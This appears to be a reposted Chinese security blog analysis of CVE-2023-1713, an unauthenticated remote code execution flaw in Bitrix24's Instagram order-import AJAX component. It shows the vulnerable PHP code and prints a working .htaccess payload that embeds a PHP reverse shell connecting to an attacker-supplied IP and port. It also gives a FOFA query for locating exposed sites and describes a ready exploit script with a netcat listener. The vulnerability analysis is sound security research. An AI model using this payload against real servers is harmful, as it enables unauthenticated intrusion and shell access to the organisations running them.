CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)

admin 2024年8月12日19:54:20评论185 views字数 2337阅读7分47秒阅读模式

0x00 前言

   Bitrix24是一个在线协作、销售和营销套件,拥有超过35种业务工具,包括世界上最强大的CRM。Bitrix24简化了其面临着的任何流程—从线索获取和转换到准备账单和发票,一般是俄语体系网站最适用的网站管理系统,有超过1500万家企业,学校,政府使用了该系统。

Fofa:app="Bitrix24-Site-Manager"

CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)

0x01 影响范围

网站版本 <= Bitrix24 22.0.300

0x02 漏洞分析

在 bitrix/components/bitrix/crm.order.import.instagram.view/class.php 中的 crm.order.import.instagram.view 组件的 importAjax 操作会下载攻击者控制的文件,并将其保存为上传目录中的临时文件。由于攻击者对文件名具有完全控制权,因此他们可以覆盖重要的配置文件,例如 .htaccess,从而实现远程代码执行。

    当向 https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3Acrm.order.import.instagram.view&action=importAjax 发出 POST 请求时,将调用 importAjaxAction 函数。此函数最终会调用 Instagram::saveImage(位于 bitrix/modules/crm/lib/order/import/instagram.php 行 476 至 514),其中出现漏洞:

// bitrix/modules/crm/lib/order/import/instagram.phpprotected static function saveImage($url){    $fileId = false;    $httpClient = new HttpClient();    $httpClient->setTimeout(5);    $httpClient->setStreamTimeout(5);    $urlComponents = parse_url($url);    if ($urlComponents && $urlComponents['path'] <> ''){        $tempPath = CFile::GetTempName(            '', bx_basename($urlComponents['path']) // [1]        );    }else{        $tempPath = CFile::GetTempName('', bx_basename($url));    }    $httpClient->download($url, $tempPath); // [2]    // Move temporary file to permanent location}

    服务器使用 CFile::GetTempName 函数生成存储下载文件的路径。此函数的第二个参数 $file_name 是通过 bx_basename 函数派生自攻击者提供的 URL,该函数返回路径的尾随名称部分。例如,如果攻击者控制的$url为 https://attacker.com/example.txt,则将example.txt $file_name 参数。CFile::GetTempName 在对 $file_name 参数进行次要处理后调用 CTempFile::GetFileName。CTempFile::GetFileName 生成格式为

    $BITRIX_ROOT/upload/tmp/xxx/$file_name,其中 xxx 是由小写字母和数字组成的字符串,因此有 $36^3 = 46656$ 可能的路径,这需要大量时间来暴力破解:

// bitrix/modules/crm/lib/order/import/instagram.php$httpClient = new HttpClient();$httpClient->setTimeout(5);$httpClient->setStreamTimeout(5);

并且不需要任何权限都可以直接上传文件,需要注意的是服务器环境必须得是Apache,若是Nginx需要别的Payload.

.htaccess file:

<Files ~ "^.ht">    Require all granted    Order allow,deny    Allow from all    SetHandler application/x-httpd-php</Files># <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

此文件必须与 Python3 漏洞利用代码位于同一目录中。当运行漏洞利用代码时,它将在 LPORT1 上生成一个 HTTP 服务器,为 .htaccess 文件提供HTTP服务,并在 LPORT2 上启动一个 netcat 监听器以进行反向 shell. (漏洞利用脚本已测可用)

CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE

漏洞利用脚本关注公众号发送 bitrix 获取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月12日19:54:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)https://cn-sec.com/archives/3059289.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息